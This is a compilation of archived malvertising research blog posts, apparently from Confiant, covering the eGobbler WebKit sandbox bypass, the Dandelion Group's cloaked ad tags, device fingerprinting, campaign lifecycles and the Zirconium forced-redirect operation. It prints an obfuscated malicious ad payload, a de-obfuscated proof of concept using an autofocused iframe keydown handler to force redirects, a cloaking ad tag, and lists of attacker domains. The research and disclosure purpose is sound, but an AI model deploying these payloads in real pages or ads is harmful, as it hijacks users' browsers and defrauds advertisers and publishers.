RegExp(’\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*[\x27|\x22].+[\x27|\x22];?\x20*}’);return A[’test’](h[’removeCookie’][’toString’]());};h[’updateCookie’]=z;var B=’‘;var C=h[’updateCookie’]();if(!C){h[’setCookie’]([’*’],’counter’,0x1);}else if(C){B=h[’getCookie’](null,’counter’);}else{h[’removeCookie’]();}};g();}(a,0x134));var b=function(c,d){c=c-0x0;var e=a[c];if(b[’TeCFIe’]===undefined){(function(){var f;try{var g=Function(’return\x20(function()\x20’+’{}.constructor(\x22return\x20this\x22)(\x20)’+’);’);f=g();}catch(h){f=window;}var i=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;f[’atob’]||(f[’atob’]=function(j){var k=String(j)[’replace’](/=+$/,’‘);for(var l=0x0,m,n,o=0x0,p=’‘;n=k[’charAt’](o++);~n&&(m=l%0x4?m*0x40+n:n,l++%0x4)?p+=String[’fromCharCode’](0xff&m>>(-0x2*l&0x6)):0x0){n=i[’indexOf’](n);}return p;});}());var q=function(r,d){var t=[],u=0x0,v,w=’‘,x=’‘;r=atob(r);for(var y=0x0,z=r[’length’];y<z;y++){x+=’%’+(’00’+r[’charCodeAt’](y)[’toString’](0x10))[’slice’](-0x2);}r=decodeURIComponent(x);for(var A=0x0;A<0x100;A++){t[A]=A;}for(A=0x0;A<0x100;A++){u=(u+t[A]+d[’charCodeAt’](A%d[’length’]))%0x100;v=t[A];t[A]=t[u];t[u]=v;}A=0x0;u=0x0;for(var B=0x0;B<r[’length’];B++){A=(A+0x1)%0x100;u=(u+t[A])%0x100;v=t[A];t[A]=t[u];t[u]=v;w+=String[’fromCharCode’](r[’charCodeAt’](B)^t[(t[A]+t[u])%0x100]);}return w;};b[’cQFMFR’]=q;b[’ZDTonJ’]={};b[’TeCFIe’]=!![];}var C=b[’ZDTonJ’][c];if(C===undefined){if(b[’uDBwPd’]===undefined){var D=function(E){this[’GWfWxt’]=E;this[’HCYWxf’]=[0x1,0x0,0x0];this[’HxJcBw’]=function(){return’newState’;};this[’KdicLa’]=’\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*’;this[’VRsMMQ’]=’[\x27|\x22].+[\x27|\x22];?\x20*}’;};D[’prototype’][’qznfNF’]=function(){var F=new RegExp(this[’KdicLa’]+this[’VRsMMQ’]);var G=F[’test’](this[’HxJcBw’][’toString’]())?--this[’HCYWxf’][0x1]:--this[’HCYWxf’][0x0];return this[’cPKAHF’](G);};D[’prototype’][’cPKAHF’]=function(H){if(!Boolean(~H)){return H;}return this[’kDqlzc’](this[’GWfWxt’]);};D[’prototype’][’kDqlzc’]=function(I){for(var J=0x0,K=this[’HCYWxf’][’length’];J<K;J++){this[’HCYWxf’][’push’](Math[’round’](Math[’random’]()));K=this[’HCYWxf’][’length’];}return I(this[’HCYWxf’][0x0]);};new D(b)[’qznfNF’]();b[’uDBwPd’]=!![];}e=b[’cQFMFR’](e,d);b[’ZDTonJ’][c]=e;}else{e=C;}return e;};var c=function(){var c=!![];return function(d,e){var f=c?function(){if(e){var g=e[’apply’](d,arguments);e=null;return g;}}:function(){};c=![];return f;};}();var J=c(this,function(){var c=function(){return’\x64\x65\x76’;},d=function(){return’\x77\x69\x6e\x64\x6f\x77’;};var e=function(){var f=new RegExp(’\x5c\x77\x2b\x20\x2a\x5c\x28\x5c\x29\x20\x2a\x7b\x5c\x77\x2b\x20\x2a\x5b\x27\x7c\x22\x5d\x2e\x2b\x5b\x27\x7c\x22\x5d\x3b\x3f\x20\x2a\x7d’);return!f[’\x74\x65\x73\x74’](c[’\x74\x6f\x53\x74\x72\x69\x6e\x67’]());};var g=function(){var h=new RegExp(’\x28\x5c\x5c\x5b\x78\x7c\x75\x5d\x28\x5c\x77\x29\x7b\x32\x2c\x34\x7d\x29\x2b’);return h[’\x74\x65\x73\x74’](d[’\x74\x6f\x53\x74\x72\x69\x6e\x67’]());};var i=function(j){var k=~-0x1>>0x1+0xff%0x0;if(j[’\x69\x6e\x64\x65\x78\x4f\x66’](’\x69’===k)){l(j);}};var l=function(m){var n=~-0x4>>0x1+0xff%0x0;if(m[’\x69\x6e\x64\x65\x78\x4f\x66’]((!![]+’‘)[0x3])!==n){i(m);}};if(!e()){if(!g()){i(’\x69\x6e\x64\u0435\x78\x4f\x66’);}else{i(’\x69\x6e\x64\x65\x78\x4f\x66’);}}else{i(’\x69\x6e\x64\u0435\x78\x4f\x66’);}});J();window[b(’0x0’,’58cH’)]=setInterval(function(){var n={};n[b(’0x1’,’ztHO’)]=b(’0x2’,’yM5e’);n[b(’0x3’,’58cH’)]=function(o,p){return o>p;};n[b(’0x4’,’[gYk’)]=function(q,r){return q<r;};n[b(’0x5’,’JAR9’)]=function(s,t){return s-t;};n[b(’0x6’,’yM5e’)]=function(u,v){return u(v);};n[b(’0x7’,’ztHO’)]=b(’0x8’,’pjqR’);n[b(’0x9’,’FIn#’)]=b(’0xa’,’GQ5z’);n[b(’0xb’,’R%gw’)]=b(’0xc’,’58cH’);n[b(’0xd’,’mI3Q’)]=b(’0xe’,’YPr[’);n[b(’0xf’,’%q$%’)]=b(’0x10’,’Isr3’);n[b(’0x11’,’*zv2’)]=b(’0x12’,’FZig’);n[b(’0x13’,’TrQ#’)]=b(’0x14’,’mI3Q’);n[b(’0x15’,’X$SJ’)]=function(w,x){return w+x;};n[b(’0x16’,’lGr8’)]=function(y,z){return y+z;};n[b(’0x17’,’6(W$’)]=b(’0x18’,’lGr8’);n[b(’0x19’,’*zv2’)]=b(’0x1a’,’mqJ]’);n[b(’0x1b’,’$W*0’)]=b(’0x1c’,’*DN[’);n[b(’0x1d’,’FIn#’)]=b(’0x1e’,’pjqR’);n[b(’0x1f’,’Mr%G’)]=function(A,B,C){return A(B,C);};let D=E=>{let F=document[b(’0x20’,’gJ%v’)](n[b(’0x21’,’YA3#’)]);if(F&&n[b(’0x22’,’[gYk’)](F[b(’0x23’,’vHhm’)],E))for(let G=0x0;n[b(’0x24’,’X$SJ’)](G,n[b(’0x25’,’GQ5z’)](F[b(’0x26’,’RxOO’)],E));++G){let H=F[G];H[b(’0x27’,’6v^L’)]&&H[b(’0x28’,’H^i1’)][b(’0x29’,’YA3#’)](H);}};let I=document[b(’0x2a’,’6(W$’)](n[b(’0x2b’,’iKWC’)]);I[b(’0x2c’,’R%gw’)]=n[b(’0x2d’,’GQ5z’)];I[b(’0x2e’,’iKWC’)]=n[b(’0x2f’,’0(fZ’)];I[b(’0x30’,’mqJ]’)](n[b(’0x31’,’%q$%’)],n[b(’0x32’,’]CdI’)]);I[b(’0x33’,’Ug8[’)](n[b(’0x34’,’%q$%’)],’0’);I[b(’0x35’,’R%gw’)](n[b(’0x36’,’HEGR’)],’no’);I[b(’0x37’,’JVi[’)](n[b(’0x38’,’2I)I’)],’0’);I[b(’0x39’,’^c0P’)](n[b(’0x3a’,’yM5e’)],’0’);(document[b(’0x3b’,’R%gw’)]||document[b(’0x3c’,’HEGR’)][b(’0x3d’,’!^d5’)]||document[b(’0x3e’,’tHF2’)])[b(’0x3f’,’R%gw’)](I);I[b(’0x40’,’vHhm’)]=n[b(’0x41’,’^c0P’)](n[b(’0x42’,’vtA7’)](n[b(’0x43’,’0(fZ’)](n[b(’0x44’,’58cH’)](n[b(’0x45’,’h^3]’)],n[b(’0x46’,’6(W$’)]),window[b(’0x47’,’$W*0’)]),n[b(’0x48’,’&YD5’)]),n[b(’0x49’,’$W*0’)]);n[b(’0x4a’,’0(fZ’)](setTimeout,()=>{n[b(’0x4b’,’@y%*’)](D,0x1);},0xa);},0x12c);</script></body></html>

While this payload looks similar to the prior Chrome exploit on the surface, we found it peculiar that eGobbler would still be running outdated exploit code that was fixed months ago, so we recreated our test environment and staged the payload across over two dozen devices and browser versions.

This time around however, the iOS Chrome pop-up was not spawning as before, but we were in fact experiencing redirections on WebKit browsers upon the ‘onkeydown’ event. We were able to de-obfuscate the code above to come up with the following POC:

<html>
    <head></head>
    <body>
        <script>
            window[”looper”] = setInterval(function() {

                let I = document.createElement(”iframe”);
                I.classList.add(’badFrame’);
                (document[’body’] || document[’head’][’parentNode’] || document[’head’])[’appendChild’](I);

                I[’srcdoc’] = ‘<script>onkeydown=function(){top.location=”hxxp://redirect”;}<\/script><input autofocus type=”text” style=”width:0px;height:0px;border:0px;”>’;

                 //queue the cleanup function
                setTimeout(function(){
                    var inputs = document.getElementsByClassName(”badFrame”);
                    if (inputs.length > 1){
                        for ( i =0; i < inputs.length; ++i){
                            inputs[i].remove();
                        }
                    }
                },10);

            }, 300);
        </script>
    </body>
</html>

The nature of the bug is that a cross-origin nested iframe is able to “autofocus” which bypasses the “allow-top-navigation-by-user-activation” sandbox directive on the parent frame. With the inner frame automatically focused, the keydown event becomes a user activated navigation event, which renders the ad sandboxing entirely useless as a measure for forced redirect mitigation.

Also noteworthy is that the campaign behind this payload had specifically targeted some web applications with text areas and search forms in order to maximize the chances of hijacking these keypresses.

Timeline

August 7 — We reported the bug to both the Chrome and Apple security teams. We heard back from the Chrome team within the hour.

August 9 — The Apple security team responded that they were investigating.

August 12 — The Chrome team provides an update that a patch was submitted to WebKit on August 9:

https://trac.webkit.org/changeset/248491/webkit

September 19 — Fixed in iOS 13.

September 24 — Fixed in Safari 13.0.1

Malvertising At Scale

If we take a snapshot of eGobbler activity from Aug. 1— Sep. 23, 2019 then we see a staggering volume of impacted programmatic impressions. By our estimates, we believe up to 1.16 billion impressions have been effected.

Over 1.16 Billion compromised impressions since August 1.

A closer look at the data shows how the threat actors target their campaigns based on geographic region, device, browser, and platform:

eGobbler’s preference for desktop platforms during this period supports their latest WebKit exploit, as the ‘onkeydown’ event is less likely to spawn organically during mobile browsing. Historic activity from the threat actor, prior to mid-June was generally targeted towards mobile devices.

Indicators Of Compromise

The eGobbler group will often use CDNs for payload delivery. When available, they will leverage subdomains that look innocuous or include familiar brands. The following CDN endpoints have been used to serve variations of the exploit codes above:

cascade.gcdn.co
adamstoyota.gcdn.co
cbcmusic.gcdn.co
1345502334.rsc.cdn77.org
1444653862.rsc.cdn77.org
1120708373.rsc.cdn77.org
1044318185.rsc.cdn77.org
1214393181.rsc.cdn77.org
1470630001.rsc.cdn77.org
1039644320.rsc.cdn77.org
1345502334.rsc.cdn77.org
1444653862.rsc.cdn77.org
1120708373.rsc.cdn77.org
privacy-center.azureedge.net
pulte.scdn4.secure.raxcdn.com
feed.scdn6.secure.raxcdn.com
audiencex.scdn2.secure.raxcdn.com
redditstatic.scdn6.secure.raxcdn.com
js-agent.scdn8.secure.raxcdn.com
paypalobjects.scdn1.secure.raxcdn.com
bdo.scdn6.secure.raxcdn.com
cancerresearchuk.scdn6.secure.raxcdn.com
thebelnord.scdn4.secure.raxcdn.com
t-mobile.scdn2.secure.raxcdn.com
honda.scdn5.secure.raxcdn.com
adidas.scdn8.secure.raxcdn.com
simpli.scdn2.secure.raxcdn.com
addthis.scdn5.secure.raxcdn.com
zetaglobal.scdn2.secure.raxcdn.com
timeonegroup.scdn4.secure.raxcdn.com
yandex.scdn7.secure.raxcdn.com
typekit.scdn7.secure.raxcdn.com
reuters.scdn4.secure.raxcdn.com
xaxis.scdn3.secure.raxcdn.com
adnami.scdn1.secure.raxcdn.com
en25.scdn8.secure.raxcdn.com
tenable.global.ssl.fastly.net
panasonic.global.ssl.fastly.net
carrefour.global.ssl.fastly.net
opel.global.ssl.fastly.net
bankofamerica.global.ssl.fastly.net
baltimore.global.ssl.fastly.net
entresto.global.ssl.fastly.net
nytimes.global.ssl.fastly.net
advangelist.global.ssl.fastly.net
ezoic.global.ssl.fastly.net
subscriberscdn.global.ssl.fastly.net
createchallenge.global.ssl.fastly.net
optum.global.ssl.fastly.net
verizonwireless.global.ssl.fastly.net
tennessean.global.ssl.fastly.net
verizonwireless.global.ssl.fastly.net
ultimatesoftware.global.ssl.fastly.net
adsafeprotected.global.ssl.fastly.net
marketo.global.ssl.fastly.net
npttech.global.ssl.fastly.net
newrelic.global.ssl.fastly.net
website-files.global.ssl.fastly.net
britishairways.global.ssl.fastly.net
adroll.global.ssl.fastly.net

Archive: This article was originally published on our Confiant Medium blog on September 30, 2019.

verb: cloak
to conceal content served (by a website or web server) based on the entity that requests it

The Dandelion Group, so named after their heavy usage of the domain weedlio[.]com often enter the display ad eco-system through a seemingly traditional ad tag (as most fraudsters do). The tag looks a little something like this:

It’s subtle, and typical enough to go unregarded, but there’s some misdirection going on. It’s a lot easier to see if we zoom in on it and deconstruct it:

<iframe src=”about:blank” id=”aXH5y3BEBJ3_RlPmTJxOQuw” frameborder=0 marginwidth=0 marginheight=0 scrolling=no allowtransparency=true width=300 height=250></iframe>

<script type=”text/javascript”> 
 var all_urls = [’hxxps://weedlio.com/g/2jrVhZ0’]
   , all_urls_length = all_urls.length
   , random_url_number = Math.floor(Math.random() * all_urls_length)
   , random_url = all_urls[random_url_number];
 document.getElementById(”aXH5y3BEBJ3_RlPmTJxOQuw”).src = random_url;
</script>

The JavaScript here is completely absent of any practical relevance. It’s a red herring for the guise of ad tech legitimacy, packaged to resemble a cache buster that we are all used to. However, the random number generated here is never applied and the entire 6 lines of code might as well be written like this:

document.getElementById(”aXH5y3BEBJ3_RlPmTJxOQuw”).src = ‘hxxps://weedlio.com/g/2jrVhZ0’;

All this does is set the destination of the ad iframe. Let’s render it:

On the surface we’re confronted with a native style ad, but of course there’s more going on… and what’s up with that rumbumptious[.]com domain? Let’s check what the iframe is actually serving up when this creative wins a bid:

This is not exactly a creative tag. It’s an HTML document that dispatches an atypical redirection, but let’s pause to acknowledge that the meta tags serve a very important purpose.

This one is a directive that tells the browser how the referrer should be passed, or more specifically that it shouldn’t be passed at all:

<meta name=”referrer” content=”never”>

Remember that the absence of a referrer is often an indicator of organic traffic!

This one tells crawlers (like googlebot) not to index the page or follow the links within:

<META NAME=”ROBOTS” CONTENT=”NOINDEX, NOFOLLOW”>

For the coup de grâce, we have some code that dispatches a hidden POST request with two parameters called ref_spoof and auth to the following url:

hxxps://rumbumptious.com/7-of-the-most-extreme-vacation-destinations/?utm_source=snap_influencers

Here’s a screenshot of the page rendered as a POST request after the hidden form submitted:

And here’s a screenshot of the page rendered when it’s loaded directly:

Let’s check them out side by side within the context of a viewport as well:

Having seen the images above, it should be pretty clear that the cloaked page masquerades as your run of the mill content site, but it is actually a cesspool of stuffed ads.

The techniques outlined above are actually not uncommon. Cloaking has been a favorite tool of SEO manipulators for the better part of a decade, if not longer, but The Dandelion Group stand out with their scale and persistence.

In the back half of 2018 alone, we have identified in the ballpark of 35 domains that follow the all_urls pattern above and act as either the creative launchpad or stuffed page (or both):

hxxp://anw.starpulse.com
hxxp://assets.brosive.com
hxxp://buzznow.co
hxxp://buzzwarp.com
hxxp://cafefame.com
hxxp://carsreviews.co
hxxp://carsstar.co
hxxp://epicguide.com
hxxp://funnyanimalnews.com
hxxp://gossipbuzz.com
hxxp://postsugar.com
hxxp://therugged.com
hxxp://thingsfinance.com
hxxp://truckhub.co
hxxp://urlish.com
hxxp://weedlio.com
hxxp://www.bitcoinusprice.com
hxxp://www.videoswebsites.com
hxxp://www.webbuildernews.com
hxxps://buzzwarp.com
hxxps://cafefame.com
hxxps://carsstar.co
hxxps://funnyanimalnews.com
hxxps://motorweb.co
hxxps://postsugar.com
hxxps://thingsfinance.com
hxxps://truckhub.co
hxxps://urlish.com
hxxps://viralshare.us
hxxps://www.culinarydiy.com
hxxps://www.enewsgossip.com
hxxps://www.gamingnewsweb.com
hxxps://www.moviesnewsweb.com
hxxps://www.viralmediatrends.com
hxxps://www.webbuildernews.com
hxxps://www.rumbumptious.com/

Weedlio[.]com has been the most recurring culprit of the bunch with nearly 100 unique “ad tags”, but new sites, ad serving domains, and campaigns continue to surface on a regular basis.

These domains have appeared in over 3,500 unique scans in our system — most of which belong to campaigns that run at significant volumes through the display ad world.

Here’s a visualization of our detection of weedlio[.]com during The Dandelion Group’s big Q4 push at the end of last year:

The Dandelion Group’s activity as described above is very much a case of cut and dried ad fraud, but the impact is further-reaching than the traditional fraud model will have you believe.

The obvious casualties here are the advertisers and platforms who are paying for their ads to be displayed outside of the boundaries of the viewable iframe, but legitimate publishers are victims here too.

The majority of programmatic ads have some kind of quality, viewability, or non-human traffic validation tags attached. The tags are deployed by platforms on the buy side or the advertisers themselves in order to track campaign performance, but inventory quality is measured as well.

While ads like this will not be marked as non-human-traffic, the ads stuffed into the iframe will certainly rank terribly on viewability. When fraudulent campaigns like the one described above run on a publisher at scale, the publisher’s reputation can get tainted by appearing as a source of non-viewable traffic. This makes the publisher’s inventory less desirable to buyers and will diminish CPMs and overall yield.

Archive: This article was originally published on our Confiant Medium blog on March 28, 2019

HTTP cookies are utilized to keep a local record of visitors’ browsing activity in order to personalize the web surfing experience. Cookies also play a crucial role in authentication and tracking. Third party cookies in particular help to make the ad tech world go round by enabling platforms to bucket people into cohesive audience segments for targeting purposes.

In recent years, regulators and privacy advocates have set their sights on these browser cookies as a consumer threat:

https://threatpost.com/bucking-the-norm-mozilla-to-block-tracking-cookies-in-firefox/137110/

https://www.zdnet.com/article/gdpr-cuts-tracking-cookies-in-europe/

Perhaps rightfully so, considering that targeted ads have become so effectively pervasive that they look like black magic to folks outside of the industry, but there’s a whole world of tracking and fingerprinting beneath the surface of the web.

Fingerprinting:

: identification by analyzing characteristics unique to individuals

From the perspective of an ad tech entity (bad actor or not), the drawback of a browser cookie is its impermanence. Cookies can easily be removed by the user or tampered with by ad blocking scripts. However, researchers have long ago discovered a plethora of alternative techniques to do highly accurate tracking of devices.

A fingerprint in this context is built by collecting as many device specific attributes as possible and packaging that data into some sort of identifier, but before we look at an example, let’s talk about what it means to have an effective dataset.

The efficacy of a device fingerprint is measured in entropy.

Entropy

: a logarithmic measure of the rate of transfer of information in a particular message or language.

Within this context, entropy is measured in bits, but what does that actually mean? The higher the entropy, the more unique that fingerprint is likely to be among a larger sample set. The calculation is fairly straightforward as well. For example:

10 bits of entropy = 2¹⁰ = 1024

In other words, a fingerprint with 10 bits of entropy would mean that 1 in 1024 devices would share that exact fingerprint.*

*This example was borrowed from:

https://thetinhat.com/blog/primers/what-is-device-fingerprinting.html

Fortunately for folks trying to track you, the modern web browser has a ton of metadata that’s easily accessible on the client-side via Javascript. Here’s the partial output of the Navigator object alone:

There are literally hundreds of objects and APIs available for pilfering browser data:

https://developer.mozilla.org/en-US/docs/Web/API

The question is then: what subset of this metadata provides enough entropy to create that sense of uniqueness?

Let’s consider this widely used fingerprinting library:

https://github.com/Valve/fingerprintjs2

The library has about ~25 options baked in that a developer can use to build a fingerprint, along with about another dozen in active development. This toolset alone can likely produce a fingerprint with enough entropy to easily identify a a specific device out of tens of thousands, if not more, and the surface is rapidly broadening as browser expansion takes place.

For example, the advent of HTML5 in 2014 introduced the Canvas API, which was promptly discovered to have certain nuances that made it a boon for non-cookie based tracking. At a high level, canvas fingerprinting works by rendering an image or text on the canvas object. The image data is then translated to a non-visual representation in the form of a string of characters in order to create the fingerprint. Differences in the devices’s hardware will influence the resulting fingerprints despite the same code. The desired effect can easily be achieved in just several lines of code, and this is just one example of a “fingerprintable” data source.

Canvas fingerprinting on its own has been observed to add in the ballpark of 5+ bits of entropy, which on it’s own may not seem like much (2⁵=32), but if you consider that every single bit increases the entropy by an entire magnitude, those 5 points can make a tremendous difference when combined with other techniques.

So how prevalent is this practice? You might have noticed that the fingerprint2.js library has over 6k stars on GitHub — and that’s just the number of developers who have publicly expressed some sort of interest in the library.

Here at Confiant, we see this specific library surface through thousands of ad impressions daily, while tens of thousands of ad impressions every day leak the presence of some sort of fingerprinting code. In fact, next time you’re on your favorite website, chances are that if you open Chrome Dev Tools and search all files for the keyword “fingerprint”, there’s a good chance you’ll find some tracking code that’s either surfaced through an ad or analytics platform. Don’t be surprised if you see a reference to a canvas object in the same code base either.

Sometimes, a single data point alone can provide an abundance of information. Here’s another popular example that we see attached to ads, or leaked through ad calls in other ways:

https://github.com/faisalman/ua-parser-js

UAParser.js — JavaScript library to identify browser, engine, OS, CPU, and device type/model from userAgent string.

Why should we care?

Tracking and privacy are complicated topics, but let’s assume for a second that legitimate advertisers, platforms, and analytics tools are out of the picture. This still leaves bad actors with a powerful tool to use and abuse in increasingly sophisticated ways.

The malvertising landscape is a high-octane game of cat and mouse where attackers need to iterate rapidly as security vendors get more adept at detection. For a bad actor, every payload reveal is a threat to the longevity of their campaign, especially if it happens in the wrong environment (e.g.: a scanner).

As a result, malvertisers are increasingly moving away from a “spray and pray” approach to triggering their payloads by leveraging some of the device fingerprinting techniques mentioned above to check if their campaign is being delivered to an individual ripe for a successful attack.

The endgame for the typical forced mobile redirect is a phishing page much like this familiar example:

Folks who fall for the trick will then need to submit their personal information through a form. The information will either be used for CPA fraud or perhaps even aggregated and sold somewhere. Another flavor of phishing landing page might look something like this:

The copy on this page happens to be device specific, and will ultimately lead to an actual malware install.

Despite the obvious use of fingerprinting to target the landing page copy, there’s usually a bit more going on behind the scenes for the more sophisticated bad actors. Fingerprinting will usually start at the creative level where the attacker will determine if the impression is being served to a human worthy of a redirect. An example attack might take the following precautions before triggering the payload:

• Check that the impression is being served to the right device? (Android / IOS / Desktop)

• Is it a new device worthy of targeting? (Certain browser API’s available that wouldn’t be available on older devices.)

• How likely is it that the device is actually a scanner? ( e.g.: The battery API shows a power level of less than 100%)

• Have we redirected this individual user before? (Detailed device fingerprint using canvas objects)

• etc…

If the attacker’s creative determines that it’s not a worthwhile impression to reveal the payload, they can always show a dummy ad or fall back on IBV to recoup the purchase of the ad.

Where do we go from here?

Unfortunately there’s no easy and enforceable answer short of turning off all Javascript. While GDPR can help to keep already honest folks honest, a lot of these tracking techniques fly under the radar and store no data on the user’s browser the way that cookies do. Publishers need to continue to select their demand partners wisely or risk exposing their visitors to malicious activity via rogue ads. Of course, Confiant’s real-time blocking is always a powerful mitigation tool for malvertising attacks as well.

Archive: This article was originally published on our Confiant Medium blog on October 10, 2018

This blog post is an investigation into the typical lifecycle of resources that serve malicious display ads, or as we like to call them, malvertisements.

Malvertisements are display ads that serve threatening Javascript, usually on a targeted basis, in order to hijack a browser, serve malware, or commit ad fraud. Basically, any display ad that delivers a code-based threat to the visitor’s browsing session can be thought of as a malvertisement.

Over the last few months, we have been averaging between 10 and 15 billion impressions monitored per month for our realtime blocking product. At a network wide block rate that hovers around 0.5% for security violations, this gives us a sample set of ~75MM incidents to look at from a birds eye view.

Here’s some trivia based on the last 30 days of data:

To put these statistics into words: malicious campaigns leave the display ad landscape just as quickly as they enter it.

Here’s a helpful visualization:

The line graph above is the daily volume observed from a typical malvertising campaign as it happened upon our radar over the course of the month of February.

The campaign rapidly reaches peak volume within two days of its first appearance before it normalizes to a trickle. In the next 30 to 60 days it’s likely that we will never see this campaign again.

Here’s a visualization of the frequency with which campaigns like this appear:

This scatter plot shows how many new malvertising campaigns have been detected by day in the month of February. The majority of these campaigns will follow a similar pattern of rapidly peaking within 48 hours of launch before they fade away into relatively negligible volumes.

The rapid pace at which these campaigns appear, vanish, and rotate is what creates a true sense of urgency around immediate mitigation.

The Pitfalls of Ad Scanning

To-date, our industry has rallied around ad scanning in order to address many of the security and quality issues that plague display ads. Scanning entails the loading of ad tags into a managed software that emulates different browser environments, device types, locations, targeting criteria, etc. When the scanner triggers and detects an incident, it provides a report with the relevant details specific to that impression. Reporting usually includes items like a screenshot of the creative that rendered, the ad call chain, and a summary of the vendors involved.

Typically, when the scanning customer is sent a report related to an incident, resolution is a multifaceted process that looks like something like this:

• The customer has to determine which of their upstream partners’ tag is attributed to the incident in the report and send the report upstream with a request to remove the offending creative or buyer from their inventory.

• The customer’s upstream demand source has to analyze the third party report in order to determine which buyer to attribute the creative in question.

• The demand partner then has to make the appropriate change within their ad serving platform and notify the scanning customer that the tag is now clear.

• At this point, the scanning customer will either re-scan the tag for good measure, or proceed to set it live.

Ad scanning is certainly not without its merits —it does work to a large extent for issue discovery, but the typical remediation timeline is long and dragged out. Every brand new incident is a race against the clock due to the average malware campaign being most active during the first 48 hours. Unfortunately, the process described above often drags out much longer due to the back and forth required by two, three, or more parties.The other major challenge with ad scanning is the rising bar set by bad actors as they continue to experiment with detection and evasion.

Enter Confiant

The lengthy feedback loop described above was the main driver in our development of a realtime blocking product. While the aforementioned process does help to identify certain bad actors, it unfortunately does not actually solve the problem of a redirect. Realtime blocking does.

Archive: This article was originally published on our Confiant Medium blog on April 9, 2018

Forced redirects

Through 2016 and 2017, the prevalence of exploit kits in online advertising has decreased, as browsers became more secure. A few drivers explain this evolution:

• The standardization of browser sandboxes (not only Chrome/Safari but now Firefox and Edge)

• The decline of Adobe Flash as a vector for exploit kits, accelerated by the ban of Flash ads in Google Chrome from September 2015

• The high profile demise of Angler Exploit Kit in June 2016

• The rise of exploit detection and sophisticated telemetry that uncovers attacks in spite of evasion

As a consequence, many malvertising campaigns moved to “forced redirects” as the second best attack vector. A forced redirect is when a person is surfing the web on a computer or mobile device and through no action of their own gets redirected to a different website. Usually the website they are redirected to is a vehicle for some form of affiliate fraud or malware.

Although forced redirects require social engineering (tricking users into falling for a scam or infecting their computer), they can durably stay under the radar by avoiding to trigger in situations that may correspond to security investigations.

Execution and chain of redirection

Fig. 1: Redirection flow

Beginads was only briefly used to establish relationships with ad platforms as a fake ad agency. Confiant observed it as a stand-alone ad server in March 2017, but it later became the domain that acts as the TDS (Traffic Direction System) on behalf of all the campaigns running on all the fake agencies’ ad servers.

Zirconium established a well thought-out organization to maximize both Supply (user traffic) and Demand (landing pages).

Supply is brought in by the fake agencies, establishing relationships with legitimate ad platforms, and buying traffic. Having multiple relationships makes the operation more robust (in case an agency gets caught) and stealthier — as each agency poses as a long-tail small business agency and buys small amounts at a time.

Aggregating Demand is the other key component to Zirconium’s business model. Confiant established that Zirconium does not operate these landing pages on their own. Instead, they resell the traffic to affiliate marketing platforms.

Maintaining those relationships at the agency level would have been cumbersome and inefficient. Beginads.com became the central gateway to manage the demand. Just like a legitimate advertising operation, this requires constant optimization and testing to yield the most revenue. Beginads.com became the centralized place were Zirconium could rationalize its revenue.

MyAdsBro, the not-fake ad network by Zirconium

Confiant found yet another level of redirection between Beginads / Horizon-media and the affiliate networks, going by the name “MyAdsBro” and operated by Zirconium.

Essentially, Zirconium’s own campaigns run via MyAdsBro but anyone can also push traffic to it and leave a revenue commission to them. MyAdsBro claims to pay out in crypto-currencies.

Going as far as to build a black-hat affiliate network shows the level of sophistication that they reached in their operations.

Fig. 1: MyAdsBro home page (left) and customer web panel (right)

Payloads

Fig. 2: Typical Fake flash update, as pushed by Zirconium on Mac (left) and Windows (right).

Fig. 3: Fake Antivirus on Mac

Fig.4: Tech support scam, as pushed by Zirconium. Note the now-classic fake address bar trick.

Fig. 5: Another scareware tech support scam via Zirconium’s “beginads” TDS

Previous research by @ExecuteMalware identified Zirconium’s PlaiMedia serving landing pages operated by the Kovter Group. Another large malvertising operation, Kovter has embraced social engineering schemes in recent years. [Edit Jan 24] After review and feedback from Kaffeine at ProofPoint, there is no evidence that ties Zirconium to Kovter.

ROI and Evasion

Just like any other business, malvertising is driven by return on investment. But crucially, it needs to operate behind sophisticated evasion techniques. This means that only a small portion of the acquired traffic actually delivers a payload. Using Confiant’s telemetry, we estimate the group served in the order of 1 billion ad impressions through 2017.

Starting in October, the group became more aggressive at optimizing for ROI, at the risk of more overtly showing suspicious activity, by using “fingerprinting”. Fingerprinting is the process of gathering data on the browser/device to target a subset of the audience. The goal is to evade detection, and this is typically done from within the browser in JavaScript. Attackers decrease their chances of delivering their payload to security scanners, which means they can trigger their payload more often and increase their ROI. This is a risky endeavor because this javascript is visible to anyone paying attention.

Fingerprinting

Fingerprinting is a client-side mechanism (javascript) used by attackers to forge a signature of the browser / device, focusing on minute differences between a realistic user environment and a researcher / scanner / bot environment.

Alternatively, server-side mechanisms are more evasive because they cannot be inspected by a security researcher, unless they actually trigger. Such mechanisms include detecting the type of connectivity used by the user, by looking up the “ASN” from the browser client’s IP. Datacenter IPs are commonly used in ad scanners and attackers will ensure that absolutely no payload triggers under a datacenter IP.

Server-side is more wasteful than client-side, it involves serving large volumes of ads that do not trigger their payload.

Client-side brings more data to assess the user so allows for more aggressive payload triggers, but the mere fact of collecting this data exposes the attacker and so is more risky.

Confiant observed Zirconium switching to more javascript fingerprinting roughly from October. We believe this trend was accompanied by an increase in traffic.

Fig. 6: Javascript fingerprinting used in Zirconium’s AdTekMedia malvertising campaign

This code snippet was found in one of the ads served by the “adtekmedia” agency. Note the odd “RegExp” override for matching the user agent to expected browsers. Zirconium campaigns have been observed to exclusively target desktop browsers, excluding mobile — not only targeting Windows, but also Mac, ChromeOS and even Linux.

Aside from very basic data points like the user agent, they also check:

• Hardware concurrency: How many cores in the CPU?

• Availability of webGL APIs

• Availability of Chrome-specific objects in JavaScript

Virtual machines typically don’t expose the full set of CPU cores available at the hardware level. This is true both in cloud computing (where scanners run) and on researchers virtual environments.

WebGL is only available in “real” full-featured modern browser. Most importantly, WebGL leaks the GPU chipset powering the device’s graphics rendering. Cloud machines typically lack a GPU.

Identifying Chrome-specific javascript objects allows the attacker to identify potential user agent spoofing. When a Chrome browser declares itself as an IE browser for example, the attacker can pick up that inconsistency.

By checking these elements, the attackers can weed out the traffic that corresponds more to patterns found in researchers rather than victims.

Beyond evasion, malvertising actors want to keep fake traffic away from their campaigns, to maximize conversion rates. Similar fingerprinting / anti-bot technique was very recently documented in the RIG Exploit Kit.

Clumsy beginnings

On March 15, 2017 IndiaOnClick made its entrance in online advertising exchanges.

The website was a poorly executed copy-cat of a large ad exchange.

Fig. 7: On the left, IndiaOnClick fake ad agency; on the right, legitimate ad exchange

